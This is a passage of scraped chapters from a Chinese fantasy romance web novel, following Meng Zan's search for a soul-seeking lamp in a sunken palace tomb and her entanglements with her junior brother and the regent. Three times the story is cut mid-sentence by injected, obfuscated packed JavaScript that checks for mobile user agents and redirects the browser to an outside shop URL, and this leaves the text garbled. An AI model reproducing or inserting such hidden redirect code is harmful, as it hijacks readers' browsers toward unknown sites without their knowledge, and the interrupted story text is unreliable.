月上柳梢头,北冥凌早早就在约定好的地方等孟簪了,可惜等了很久才见一个身影远远地朝自己走来,他正欲开口,对上的却是一双笑眼。 “六皇子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145013|133620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别来无恙。” 北冥凌立马撤回了一个笑,眼睛里满是不喜,“你来做什么?” 君裴安一手打开折扇,扇面遮住下半张脸,只露出一双笑眸,“你可别误会,我可不是来拆散你与你心上人的。” 虽然君裴安话语的每一个字北冥凌都认得,可是这组合起来让北冥凌很是摸不着头脑,但是理解不理解对北冥凌而言,压根不重要,因为他打心底并不希望孟簪和君裴安碰上面。 “你不来拆散的最好,既然没事你可以走了。” “不巧,我只是来看看能够让六皇子跟只哈巴狗一样吐着舌头欢迎的女子,到底是何等的国色天香。”君裴安像是看不见北冥凌眼中划过的杀意,莞尔地看向不远处,感叹道,“哎呀,看来我来得很是时候嘛!” 北冥凌当下没有半点犹豫地利用身法的优势,悄无声息地来到君裴安身后,怎料落掌的瞬间就被合十的折扇挡了下来,君裴安微微侧头,眼眸里划过深意,面上不解道,“六皇子这是何意?是怕我抢走你的心上人吗?” 放在往日,北冥凌定然是会嘲笑君裴安一番,可今时不同往日,他几乎是立刻地咬牙道,“对!我怕你抢走她,她是我人生的最后一点微光了,我求求你不要剥夺她在我身边的权利。” 君裴安听此,眼神里都带着些许若有若无的同情了,“没想到在你心里,她竟然是这般重要。” “对啊!她快来了,你别让她看到你了!” 君裴安也是知道自己的魅力的,点了点头,临走前,拍了下北冥凌的肩,像是承诺般道,“放心,我努力让你不带绿帽子。” “……”这需要你努力吗? 你咋不说你努力让我带绿帽子呢?而且北冥凌觉得君裴安大抵是误会了什么。 孟簪只是他的朋友,仅此而已。 见君裴安远去,北冥凌心安了下来,他不同于君裴安像是个精明的商人,他心里还是不希望让孟簪知道自己其实也是有所求,从而利用她进入永安公主的坟墓之中,他希望自己还能和孟簪做朋友。 “别动!”开口大汉般粗犷的声音让北冥凌心头一惊,有些不敢置信地看着眼前这个熟悉的人影,直到他听见,“小狗怎么叫?” 北冥凌忍住了心头升起的羞耻感和屈辱感,咬了咬牙,喊了两声,“汪——汪——” 见北冥凌全副武装只剩下一双眼睛在外面,孟簪还是很满意的,虽然先前被谢赴星影响了部分的心情,但是好在还是睡了一个好觉,没有打搅了今日的计划。 “永安公主的坟墓没有进入皇陵,而是选择在了皇宫内的一处地方。” “哪里?” “御花园池塘。” 结果到了地方,两个人面面相觑了好一会儿,还是北冥凌先开了口,“我不会游泳。” “你觉得我会?”孟簪坐在池塘边上,有种拔剑四顾心茫然的无力感,“那怎么办?” 北冥凌想了会儿,“要不我把这个池塘的水抽光,这样水没了,我们就好挖了。” 结果孟簪脸上没有半点欣喜之色,反而更绝望了,她摆了摆手,“别想了,这水和涌江相连,先前十年大旱都没干涸过,绝非咱俩一时半会儿就可以抽干的。” “那我把它钓上来。” “你当钓鱼呢!还会自动咬钩!”孟簪是折服于北冥凌的想象力了,也只不过是一瞬,她就想到了对策,“上次掉到河里,小师弟给了我一颗珠子,只要将其含在口中就可以在水底自由呼吸。我一直随身带着,还没扔掉。” “那你赶紧给我!”许是察觉到自己有些太过于急切了,北冥凌赶忙解释道,“你法力低微,体术也不好,我怕姐你下去后遇到危险。” 孟簪也想到了这一点,但是,“还是我下去吧,这珠子毕竟被我用过了,你待在岸上兜底,等我找到东西后拉一下绳子,你到时候拉我上来。” 北冥凌见劝说无望,便也歇了心思,“好。” 见北冥凌有些心不在焉,孟簪刚想开口安慰一番,有杂乱的脚步声朝这里奔来。 天边的月不知何时被咬下了一小口,正如夜幕不见光的地方,危险在蔓延。 “救命!救救我!我不想死——” 34. 第三十四章 第三十四章 见有人过来,孟簪眼疾手快地拉着北冥进入假山躲了起来。 北冥凌按捺不住正义之心,低声对孟簪道,“有人喊救命,我要出去救他!”孟簪拉住了北冥凌的袖子,示意他不要出声,随后悄悄探出半个脑袋。 夜晚的御花园本来很是安静,连风都没有几阵。 男子的呼喊声本意是想向人寻求帮助的,同样也给追着他的人提供了线索。 见男子大有往假山跑来的打算,孟簪不由得心头一紧,在他半只脚差点踏入假山之际,不知哪里飞来的剑一下横穿了他的胸膛,随之落下的是青年清冽的声音,宛若秋风落雨,“你以为你跑得掉?” 那人明明长得一张令人怦然心动的面容,可开口的瞬间却像个索命的阎王爷,看清来人眉心的朱砂那刻,孟簪赶忙缩回了脑袋,生怕自己看点些不该看的事情,这多不赶巧啊,次次都撞见些不该看的东西。 还都是同一个人。 孟簪缩回脑袋,北冥凌本来就不解了,听到声音那刻,他眼中的迷惘更加深了。 这声音听着我觉着怎么那么像谢师弟。 他趁着孟簪惊魂未定,悄悄把脑袋伸了出去,这不看不知道一看吓一跳啊! 记忆中笑容乖巧,脾气颇好的谢师弟握住剑柄轻轻一转,那张精致的脸庞勾起讥诮的笑,漫不经心道,“你好像误会了什么,我不会杀你,而且还会让你好好活着。” 那男子恶狠狠地剜了眼谢赴星,倘若眼神可以杀人的话,谢赴星应该已经死了千千万万次了,他才不信谢赴星会如此好心,“你想做什么?” 青年温柔陈述道,“将你的四肢砍下,然后丢进毒虫窟里呆上个十天半个月,等被毒虫吃抹干净脾脏肝胃,再扔到南明那片鲨鱼海。放心,我不会让你那么轻易得死去,而是在受尽折磨后,让你打心底放弃活着。” 说到这里,他莞尔一笑,“所以,你想好怎么回答我了吗?” 看着不远处颀长的身姿,那身红衣依旧如平日那般耀眼夺目,可不同的是他如今站在光里,身上满是戾气和偏执。 北冥凌总算明白为什么孟簪要拦着自己了。 谁能想到那素日里乖巧懂事的小师弟,竟然也有这般杀人不眨眼的时候? 脾气好?北冥凌觉得自己是瞎了才会那么觉得!这人分明就是吃人不吐骨头的恶魔啊! 割四肢、毒虫窟、南明鲨鱼海连东陵最残忍的酷刑都没有那么残忍,而在谢师弟口中说来却好像喝水吃饭那般平常。 北冥凌不禁后背发凉,而后他远远看着那男子缓缓倒下,立马缩回了自己的脑袋。 眼神无声地质问孟簪,你早就知道他是个这样的人了? 孟簪不知为何可能是从北冥凌眼中读出了害怕二字,半猜半就地好像也懂了北冥凌此刻所想,便跟着怅然地点点头。 北冥凌的眼神里有悲怆和震惊,他觉得自己怕是要活不久了。俗话说,好奇心害死猫,这话诚不欺骗他! 孟簪倒是没注意北冥凌,而是琢磨着不对劲的地方,皇宫那么大,这男子怎么就那么巧地跑进了偏僻无人的御花园,是自己多疑了吗? 而在思考间,她自然没注意到身旁所发生的事情,直到听见北冥凌的哭声,“弟啊我真得什么都没看到!我发誓!” 孟簪侧眸,就见谢赴星拿剑抵着北冥凌的脖颈,那剑上还沾着血颇为渗人的,北冥凌的腿都吓软了,只好把求助的目光递给孟簪,谁料孟簪立马转回了头,一副路人甲的姿态抬步就是要逃走,“师姐那么晚了,你在这里干什么?” 什么?自己竟然那么快就被谢赴星认出来了!? 孟簪除了一双眼睛,其余都被黑衣包裹着,单凭个背影和眼睛,孟簪觉得就算是从小看着自己长大的自家师父都不能百分百确定是孟簪,可是方才谢赴星那句陈述句落下,分明就是没有半点疑惑的,饶是觉得不可思议,孟簪也得承认谢赴星确实有两把刷子。 “深夜不睡,师姐穿成这样可不像是要干好事的样子。” 谢赴星没有打算放过北冥凌的意思,垂眸瞬间,眼底划过杀意,“这位、怕不就是你幽会的那位情郎吧?” 随着青年玩味的话语落下,北冥凌某处一阵凉意划过,看向孟簪的视线里直白白地写着一句话,救我啊姐! 孟簪不是没有接受到北冥凌眼神的讯号,她冷静地问道,“如果我说是,你会放过他吗?” 北冥凌被谢赴星点了哑穴,眼下真是有苦都说不出,姐你没看见他看我的眼神就差没喷火了吗!你还承认!你是真想让我死啊! 但与此同时,北冥凌又有一种凄凉感,明明是三个人的故事,唯独他却没有办法替自己澄清,我真得是无辜的啊! 然而,谢赴星只是安静了几秒,像是暴风雨前的平静,唇角自始至终都带着笑意,“自然不会。” 北冥凌提着的心刚刚放下,这才后知后觉地理解谢赴星这句话连起来的意思:自然不会放过自己啊! 乌云在御花园上集聚,不久后就会大雨倾盆,黑云压城的压迫感便是谢赴星眼前给孟簪的感觉,他分明脸上没有半点不高兴,但孟簪就是察觉到他好像很不爽。 “你会对他做什么吗?” 谢赴星眉梢一扬,阴阳怪气道,“怎么,师姐紧张了?” 那倒不是,孟簪承认下北冥凌情郎的身份也不过怕谢赴星多追究她今夜在这里的目的,这种事情少一人知道总是好的,既然自己已经和北冥凌说过了,那师弟这边孟簪还是不希望让他知道的。 至于紧张,那更是不可能的,北冥凌可不是孟簪,年岁比谢赴星大了五岁,吃的盐也要被孟簪多,这种场面他定然是可以应付的,孟簪担心的还是自己的小命。 但好歹一回生二回熟,孟簪熟练地抢先开口道,“自然不是,规矩我懂的,绝对不会有第三个人知道!” 被劫持的北冥凌欲哭无泪:怎么?一个两个都那么确定我要死了!我也是个人啊! 孟簪说完就跑了,徒留北冥凌一个人对上谢赴星幽深的眼眸,“说吧,那么晚了和我师姐出来干什么,北冥凌。” 孟簪自然没想逃跑,在谢赴星出现之前绳子已经给北冥凌了,时间紧迫,她现在就要下去找寻魂灯。 但是直到站在岸边才发现,她压根闯不过心里那一关。 溺水窒息的痛苦让她心有余悸。 她站在岸边踌躇了好一会儿,还是打算回去救回北冥凌,不料这岸突然塌了下去,没有任何准备的孟簪掉进了水里。 — 在这千钧一发之际,孟簪及时将珠子放入了口中,任由池水将她吞噬,身体逐渐变得轻盈,她慢慢地睁开眼,有些震撼于眼前所见。 这池塘远比孟簪在水面上所见到的深和辽阔,深不可测的塘底埋葬的哪里是坟墓,分明就是一座小型的古城。 水下的世界,寂静无声。得亏孟簪在下水前将头发盘成了丸子头,发丝才没有四散开来,衣裳沾了水变重,不用费力,孟簪便一直在往下沉没。 随着下坠,孟簪在四周的蓝之中望见了那座水下的坟墓,被池水温柔的包围,静静地伫立在水底。 墓碑上刻着模糊不清的名字,水藻缠绕,如同时间的藤蔓,将墓碑紧紧包裹,在坟墓的周围,是一些古老陈旧的建筑残骸,如同沉睡的巨人,静静地躺在水底,等候着来人。 孟簪轻而平稳地落在地上,看着眼前等身高的坟墓,觉得熟悉而又陌生,熟悉在于她好像在哪里见过这样的场景。 但也只是一瞬她,记得此次前来破晓国的目的便是拿到寻魂灯,孟簪想起拂云在信中的介绍,寻魂灯本是上古时期一位大拿用来检测世外之人的法器。等那位大能陨落后,寻魂灯落入世人的手中,后来的人发现它竟然拥有将死去之人的魂魄藏匿其中的妙用,从而开启了对寻魂灯的争夺。 而在永安公主死去后,为了防止寻魂灯出世造成杀戮和混乱,所以在遗书中再三吩咐要将寻魂灯带着一同下葬。 由于那位永安公主在史书上没有记载,所以除了那时的人外无人知道再寻魂灯的下落,渐渐的,寻魂灯便被人们所遗忘了。 不过,寻魂灯都有存储灵魂了,有没有种可能,公主其实也将自己的灵魂放在了寻魂灯里了?孟簪不是永安公主,不懂她心中所想,也只是随心的一个猜测。 无论如何,寻魂灯对她而言,是活下去的契机。 孟簪走到坟墓前,小心拨开了坟墓上的海藻,上面的字是用破晓国的文字写的,孟簪看不懂,但是破晓文的字和正常的字有共同之处,看着墓碑上很像是孟的一个字,孟簪心里突然哐当了一下,难道自己上辈子难道真得曾经在破晓国做过公主? 这个荒谬的想法被孟簪迅速压下,她及时冷静下来,观察起了池底的周围,仔细地一寸寸扫视过去。 周围的断壁颓垣埋葬在水底,墓碑在这里,那受人哄抢的寻魂灯会被公主放在哪里呢?孟簪把自己带入了破晓国的这位公主,倘若是自己要找个最隐蔽的地方藏放寻魂灯那必然不是棺材内,俗话说最危险的地方就是最安全的地方。 孟簪的目光落在了这个等身高的墓碑上面,要说永安公主是个奢靡的人特意给自己订做了个大型墓碑逻辑上也说得通,但是种种迹象来看,永安公主不仅不铺张浪费,还是个爱民如子的人。 所以,这大概就是存放寻魂灯的地方了。 孟簪伸出手,碰到墓碑上字的那刻灵魂一颤,来自于灵魂的疼痛让她回过头,看向不知道站了多久的青衣男子。 那双波澜不惊的眼眸也就看着孟簪的时候,才会多出几分的情绪来,“公主,皇宫已经被我封锁了,那三人跑得快,但追缉令已经放下去,只要他们不离开,找到他们指日可待,和我走吧。” 他顿了一下,换了个叫法,“孟簪。” 她从未告诉过宋故封她的姓名,所以孟簪几乎是在恍惚和困惑之中被宋故封带回去的,她看着这位国师有条不紊地吩咐手下的人放出消息,说孟簪身体不适,这几日将待在寝殿养病,实则就是变向地将她软禁了起来。 找的东西还差临门一脚,孟簪还真是捶胸顿足。蹲在房间的第二天,宋故封就来了。 大概想要传达的意思就是,破晓国所邀请的人来得差不多了,是时候举办一个接风宴了。 “你要出面。”他放下话语的下一刻就遭到孟簪不解地反问,“为何?” “你是公主。”这理由着实是拿不出手,孟簪觉得自己就像是一个精美的展示品,大场合的时候让自己出个面走个过场,实际上就是个没有实权的架空皇帝。 宋故封独揽政权也不是一日两日的事了,孟簪倒不是想从他手上拿到权力,只是她现在只想拿到寻魂灯然后迅速离开这破晓国,这角色扮演游戏她是一天都不想再多玩了。 — 依旧是那个晚上,知晓孟簪要下水后,北冥凌觉得谢赴星看自己的眼神更冷了,甚至隐隐从里面听出了几分气笑的意味来,“她之前不会凫水之前差点死了,你不是不知道。” 北冥凌被那么责怪,摸着脑袋也有些不好意思,但是嘴上还是不服输道,“那也是姐她自己提出的,搞得跟我拦得住柳拂云一样。” “别叫她柳拂云。” 北冥凌狐疑地看了眼谢赴星,“不是吧,我叫柳拂云都叫不得了,谢赴星你也太霸道了!” 刚恢复语言功能的北冥凌怕谢赴星再点自己的穴于是赶忙捂住了自己的嘴,一副敢怒不敢言的姿态。他可没忘记刚才最见到的一切,这位谢师弟可不像表面那么纯良。 面对北冥凌赴控诉,谢赴星还是好心地解释了两句,“柳拂云是假名,她真名叫做孟簪,叫师姐一叫一个顺嘴,怎么你和他很亲近吗?” 北冥凌到底是个自来熟的人,听到谢赴星的话立马不服气道,“我们可是睡过一个晚上的交情啊,谢师弟。” 谢赴星皮笑肉不笑道,“哦?说来听听。” 北冥凌梗着脖子,解释道,“就是仙门大比的时候,你还有我,还有柳……孟簪和苗昊四个人一起睡过一个晚上啊。” “……” 不要和一个傻子计较,不然你迟早会被他同化。 谢赴星翻了个白眼,无语道,“那要是那么说,你岂不是和秘境里的所有人都有睡过几个晚上的交情?” 谁料,北冥凌眼睛一亮,看着谢赴星像是发现了天才,一时也忘记了戒备,握着谢赴星的手道,“对啊!我怎么没想到呢!谢师弟,你可真不愧是个天才!” 夸赞的话语落地的瞬间,两人迅速被赶到的士兵包围了起来,背对背而立。 闷雷声响起,黑夜大有往地上坠落的架势,明明被里三层外三层的包围起来,北冥凌倒是不慌不忙,甚至还有闲工夫看了眼孟簪递给自己的丝线,扯得他手指疼了,但是他余光往假山外一瞥,看到被围得水泄不通的池塘,心重新安定了下来。 背后的青年轻描淡写地问了句,“你四我六,行吗?” 北冥凌正愁从仙门大比回来无人陪他练习,正巧瞌睡来了送枕头,他眼睛一眯,神情也认真了起来,“自然没问题!你可不要小瞧了我!” 他抽出剑,义气道,“我们一起,开一条活路出去!” 紫雷降世,狂风骤起,皇宫那晚无人安睡。 谢赴星再次和苗昊相遇的时候,他满脸都黑漆漆地坐在乞丐堆里,穿的衣服也破破烂烂,看着和乞丐一般无二。 不知道遭遇了什么,但比起谢赴星和北冥凌所遭遇的,苗昊看着要惨的多,他几乎是一开口就有些可怜兮兮道,“我被女人骗了。” 那张黑漆漆的脸上终于出现了几分类似于绝望来。 谢赴星没心情听故事,倒是北冥凌兴致勃勃道,“哦,那女子长得什么样的?好不好看?骗了你多少?还有你身子被骗了吗?” 这副看热闹不嫌事大的模样,生怕苗昊没有被骗身。好半晌,苗昊抿着唇点了点头,“可能吧……” 这会儿,北冥凌的嘴角快要咧到天上去了,丝毫不暴露内心所想的他几乎是脱口而出,幸灾乐祸道,“哈哈哈,你也有今天啊苗昊!堂堂苗家的长公子,十多岁女装参加仙门大比,二十多岁在破晓被骗身,你的人生可真够传奇的!” “快来和我说说,这女的长什么样子?我来替你参谋参谋!”这话从北冥凌口中出来,就可以料想,这参谋是假,想看苗昊的笑话为真。 苗昊黑着脸,死也不愿意说下去了,也是按照苗昊的性格倘若不是当下太过于凄惨了,北冥凌怕是前两句的八卦都听不到了。北冥凌见好就收,安慰道,“没事的,苗昊。男儿有泪不轻弹,虽然你已经失去了作为男德班优秀毕业生的资格,但是往好处想,你现在拥有了做渣男班优秀生的资格!” 这话可谓是嘲讽和安慰并存,苗昊喝着茶不说话了。 “你们还要留在这里吗?”通缉令已经下来,北冥凌没拿到寻魂灯是不会走的,苗昊神色一僵,没有说话。 最淡定的当属谢赴星, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这时门从两侧打开,那位传闻中的破晓国公主出现在了众人眼中,荀药也只是随意一撩眼,当看清女子面容那刻,不由得怔住了,“皎皎?” 女子一身月白衣,搭上雪色琉璃羽肩,及腰的青丝轻挽白玉紫月簪,腰间佩戴着翡翠白玉,每一步走得慢,但是稳,不苟言笑的模样姿态宛若天上的神女,清冷绝尘。 孟簪是那种一眼就难忘的长相。 平日里不打扮,这一打扮把不少出席接风宴的人给看呆了,心里暗暗道,这破晓国公主竟然长得是这般人间绝色! 唯独一旁的某个少年郎打了个哈欠,像是计算着什么,在孟簪快经过他身边的时候,站起身往门外走去。 大庭广众之下,两人如同两个人陌生人一般擦肩而过。 孟簪手心被人很快地塞了张纸条,她面上没有半点破绽,手心却握紧了这张小师弟递给自己的保命符。还好,她不至于孤立无援。 宴会一直持续到了半夜,人才陆陆续续地离开皇宫,而装了一天端庄姿态的孟簪几乎是一回寝殿就躺在了床上。 她撤走寝殿内所有人还没来得及打开纸条,门外传来了宋故封的声音,低哑深沉的声音好像冬天下的雪,冷意中携裹着几分他自己都察觉不到的柔意,“我可以进来吗?” 孟簪没动也不想说话。 因为宋故封跟她肚子里蛔虫似的,不管她回答不回答都知道她现在睡没睡,所以孟簪没说话,干脆让宋故封猜去好了。 来人今日可是一个晚上都没有出现,他那张亘古没有表情的脸,触及到孟簪面容那刻,目光一顿,本来到嘴边的话话锋一转,询问道,“今晚过得怎么样?” 孟簪回:“挺好的。” “有遇见什么有趣的事吗?” 孟簪依旧回:“挺好的。” 听得出来,她是真得一点儿都不想和宋故封聊天。 但对方好像也不生气,微微颔首,“那便好,我找你是来和你坦白一件事的。” 孟簪面上不在意,其实背地里悄悄竖起了耳朵。 “鲛人国师的传言是真的。”男子扣在紫檀木上的手轻敲着桌面,他的青丝只一根松松垮垮的青色发带束起,他好像也有些心不在焉的,盯着丝毫没有礼仪大字形态躺在床上的孟簪,恍惚了几秒。 “鲛人落泪为珠,你当年便是这般囚禁了一只鲛人作为你的国师。” 有关鲛人国师的书孟簪还是看过的,但是毕竟不是当事人,听到宋故封这般笃定的口吻,孟簪不禁也有些意外,“我?” 这鲛人国师的来历不详,只听闻他好像还是永安公主的故人,却没想到,竟然是永安公主囚禁了那位国师。但是孟簪细细想有感觉哪里不太对劲,不过今晚实在是累了,她躺在床上心里只有睡觉这一个念头。 孟簪躺平了,“所以他不会现在要找我来报仇了吧。” 宋故封摇摇头,“不会,对方对公主你情根深种,他下不去手的。” 孟簪并不觉得,妖族会多么深情。 谢赴星不就是妖族的。 可是孟簪东看看,西看看,都没看出来谢赴星会是个深情种,这能被他喜欢的人大概还是还没出生在这个世界上。 都说铁石心肠的人要是喜欢一个人会把对方捧在手心上。但孟簪觉得谢赴星不会,他这人太傲气了,怎么会为爱折腰?别说折腰了,要他服个软都不可能的! 甚至他一个心情不好,把人给反手送去见阎王爷都不是没有可能的。 “我想,我们是时候把婚期抬上日程了。” 听到宋故封的话,孟簪立马从床上跳了起来,“不行,我不同意。” 相处下来,孟簪发现宋故封这人看似冷冰冰的,不懂人情世故,但是这人很实在,从来不会太为难孟簪。 “那如何你才能同意?” 孟簪心下立刻就有了主意,“我要寻魂灯。” “就这个?”宋故封都想到孟簪可能会为难自己,却没想她想要的不过是那盏废灯。 孟簪刚想点头,却察觉不对,现在反正是自己在提要求,何不提些宋故封做不到的,从而让他没时间来催婚。 思定主意后,孟簪清了清嗓子,“我喜欢有男德的男孩子,最好会四国语言,字写得要漂亮,能洗衣做饭最好了,要是再会个女工再好不过,最重要的是要喜欢笑。” “我不喜欢整天板着脸的人。” “小宋你笑笑呀,你笑起来很好看的。” 眼前人和百年前的心上人身影骤然重合,宋故封抿唇告辞离开了。 孟簪没想这计划还真行,确认宋故封走远后,这才放心地展开那张谢赴星传给自己的纸条。 纸条上只写着一句话:求人不如求己。 孟簪一口血差点没喷出来,她究竟是怎么瞎了眼才会觉得谢赴星会来救自己的!这人巴不得自己死在皇宫里最好了,带着他的秘密风风光光地下葬。 孟簪忍着气想着万一是对方给自己开的玩笑,实际上背面还有字呢? 嗯,一定是这样的。 孟簪满怀期望,小心翼翼地翻开另一面,上面只写了两个字:嘿嘿。 “……” 你觉得自己很幽默吗? 这嘿嘿二字一看就是北冥凌的杰作,孟簪瘫倒在床上觉得自己可能这辈子都离不开破晓国了。 纸条燃烧的声音响起,孟簪垂死病中惊坐起。 这是传送符! 35. 第三十五章 第三十五章 传送符燃尽,一袭红衣的绝艳少年郎出现在她眼前。 抱着臂,一副谁欠了他三百万两银子不还的模样。 孟簪呆愣了一秒,随即侧头笑道,“巧啊,小师弟。” 但不可否认的是在看到谢赴星的那刻,孟簪本来漂泊不定的心情因为小师弟此刻的出现而打心底的感到安定,一瞬仿佛让孟簪回到了数年前的暴风雨夜,破旧寺庙漆黑之中,眼覆白绫的少年轻拍着孟簪的肩,拘谨而又不自在道,“莫怕。” 他来了,莫名让孟簪的心就那么安定了下来。 谢赴星可不是来跟孟簪寒暄的,他打量了一圈孟簪,嘴上不知是嘲讽还是嘲讽道,“你活得倒是挺滋润。” 孟簪耸肩,有些无奈道,“我让她们不要对我如此礼待的,可惜她们并不听我的。” “寻魂灯拿到了?” 一听到这个,孟簪就有些心虚,下意识地想转移开话题,“你是怎么知道……” “哦。我和师姐不一样,我多长了张嘴,会开口问。” 谢赴星环胸,毫不客气地反问,“倘若不是我知道了,师姐还想瞒我到几时。” 孟簪假装听不出谢赴星话语中的不满,蹬蹬几步坐在了谢赴星的旁边,“我已经知道它大概的位置了,距离找到寻魂灯只差最后一步了。” 谢赴星没有多扯别的,漂亮的眼眸微眯,一语中的,“师姐想要寻魂灯做什么?” 寻魂灯,可寻世间鬼魂,亦包括世外之魂。 “寻魂灯一旦问世便会遭到众人哄抢,师姐到时候不要既保护不住剑,也护不住寻魂灯。” 谢赴星也是难得好心一回奉劝自己这位师姐,却不想撞入她眼中的狡黠,“所以我并不打算让它问世呀!” “……” 看到谢赴星,孟簪就想到皇宫外铺天盖地的通缉令,一时也是有些不好意思道,“对不住,连累你们了。” 谢赴星捏了捏鼻根,这倒不是最令他头大的。 他把自己搜集到的所有话本堆在桌上,随意拿起一本面无表情地念了起来,“追爱不成,娇蛮公主恼羞成怒通缉带球跑爱人。” 读完后重新扔回桌上,还没等他开口,孟簪抢先开口道,“师弟这段时间辛苦你先背负一下了,等到事成之后我必然会还你一个清白。” “清白?师姐原来还知道这些流言蜚语会毁了我清白。” 孟簪摊手,很是无辜道,“这绝对不是我传的流言啊,小师弟。” 正想开口的谢赴星下一秒便听到自家师姐掷地有声的一句,“我要是传的话,就不会只这样子写了。” “哦?师姐会如何写?”他垂眸,狭长纤细的睫羽在眼底打下很浅的一层阴影,手拿起了一本话本随意翻开,醒目的标题被不远处的孟簪纳入眼中,公主强制爱,驸马莫要逃。 这也……这也太刺激了。 孟簪满脑子都是问号,外面的话本那么奔放的吗? 还真一下子勾起了孟簪的兴趣,她往外伸了点脑袋,不想话本下一秒骤然合上,她对上对方眼中的点点笑意,“要不我把话本留在这里,师姐在破晓国看一辈子可好?” 留在破晓国,和宋故封成婚!?那还不如让孟簪死了算了,她几乎是立刻看穿谢赴星那微笑之下深藏的恶劣。 孟簪浅笑地回击道,“要是小师弟愿意陪着我的话,我倒是不介意在这儿一辈子。” “你倒是想得美。”他睨了她一眼,很淡的一瞥,随后收回了视线,但是不知为啥,孟簪觉得小师弟那个眼神好像没有之前那么凶,反倒有有种说不出的无语和纵容。 她轻咳了两声,打消方才那一秒的错觉,和谢赴星谈起了她的计划,“后天祈愿节,我作为破晓国公主要前往寺庙祈福,我设法让宋故封陪我一起去,调动城中部分兵力,你到时候趁着宋故封不在去拿寻魂灯。” “不要。”谢赴星眼睛都不眨地先否认了一下,后来想了想,皱着眉认真反问,“我为什么要帮你?” 孟簪想都不想地开口,“你谢赴星是我小师弟啊!你不能把你可怜弱小无助的师姐一个人扔在这荒郊野国吧?” 听到荒郊野国这四个字,谢赴星不由得嘴角一勾,笑靥如花道,“我还没试过,但是师姐既然如此弱小,那死在破晓国也是正常的。” “……” 看着师弟如此耿直,孟簪心里一阵憔悴,目光哀怨,“那你进来救我干什么?” 给了孟簪希望,又把希望给踩碎。 “哦,我只是进来检查师姐死没死。现在看到了不仅没死过得。”谢赴星顿了下,眼神颇具深意,“还挺滋润的。” 孟簪才不信呢,递纸条的那个人绝对绝对就是谢赴星。 从身形和身上的茶药香,那个人要不是谢赴星,孟簪就把自己的名字倒过来写。 反正孟簪先把话给交代下去,听不听全算谢赴星的,“皇宫内的西南角兵力薄弱,御花园其实还有一条小道,在石洞下面,寻魂灯就藏在池塘下的墓碑。” “不管你来不来,我都谢谢你谢赴星。真的,至少你让我觉得这个世界好像还是有人记得我的。” 夜风吹过,带了些凉意,和往常的每一个夜晚一样,但是却给了孟簪一种祥和的静谧,往后的有一天,骤然想起之时,孟簪后知后觉地意识到或许在那个时候,命运的天平就朝她倾斜了。 — 清晨梵音古寺,在诵经声中,身着素衣的清冷女子和宋故封一前一后地踏入了梵音寺中。 寺庙的住持出来迎接,那住持身后还跟着一个年岁和孟簪差不多的小弟子,那小弟子有一双细长的丹凤眼,给孟簪一种妖里妖气的感觉,一点儿都不像个正经和尚。 许是孟簪的目光太过于直接,那弟子朝孟簪笑了笑,很是和善,倒是让孟簪怀疑自己是不是想多了。 “施主和我很有缘。” 宋故封看向开口的和尚,没有说话,但眉心微乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203165|133620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可微地皱了起来,“我好像没见过这位。” 住持还没来得及回答,那弟子便懒洋洋地回复道,“我是住持新收的弟子,我不爱睡觉,所以住持给取了个名字,叫无眠。国师没见过我很正常,就跟我没见过国师一样。” 这无眠倒是伶牙俐齿,短短几句话接过话茬的同时还反怼了回去。俗话说伸手不打笑脸人,宋故封自然也不会为难梵音寺中的一个小弟子。 他转头看向孟簪,“公主,祈福的仪式我已经提前托无妄住持准备好了,我们现在就可以过去。” 孟簪看了眼上了岁数,但依旧精神矍铄的住持,对方微笑以对,很是抱歉道,“我这小弟子不太懂事,公主莫怪。” 住持是在帮不知道自己身份的弟子解释,无眠也是神色颇为复杂地偷瞥了孟簪一眼。 “无碍。”孟簪本就不是斤斤计较的人,更何况她眼下还有更重要的事情要去做。 “这是财神像。” 见一旁突然神情格外虔诚,紧闭着双目的公主,宋故封看了许久,直到女子睁开眼,询问:“宋故封,你要不要也许一个?” 他摇头,看向孟簪,“我所愿的,已经在眼前了。” 孟簪后悔自己问出这个问题了,更后悔她读懂了宋故封那一刻的眼神,隐忍而又深沉,恍若一汪平静的死水在等待着干涸的那刻下了一阵甘霖,溺水之人,抓住了一块浮木。 在一旁带着孟簪和宋故封参观的无眠阴阳怪气开口,“公主,住持找你过去。” 在看到宋故封也想跟着过去,擦肩而过那刻,无眠一把抓住宋故封的手腕,轻笑道,“住持只请了公主一位。” “国师就不必陪着进去了吧。” 宋故封正想开口,就听那无眠笑里藏刀道,“莫非国师信不过我梵音寺?” 倒是孟簪开口替宋故封解了围,“我一个人可以的,你在门口等我就好。” “小宋,我一个人可以的,你先随着百姓离开就是。” 宋故封握紧了剑,目光碰到孟簪眼中笑意的那刻,手松了下来,他颔首,语气冰冷无情道,“麻烦转告给住持,一盏茶的时间里公主要是没出来,禁军马上包围梵音寺。” 孟簪路上还想不通,为什么自己在向宋故封提出调动皇宫兵力陪同去往梵音寺祈福的时候,宋故封可以毫不犹豫地同意,现在她算是明白过来了,敢情方便他可以随时围攻梵音寺是吧? 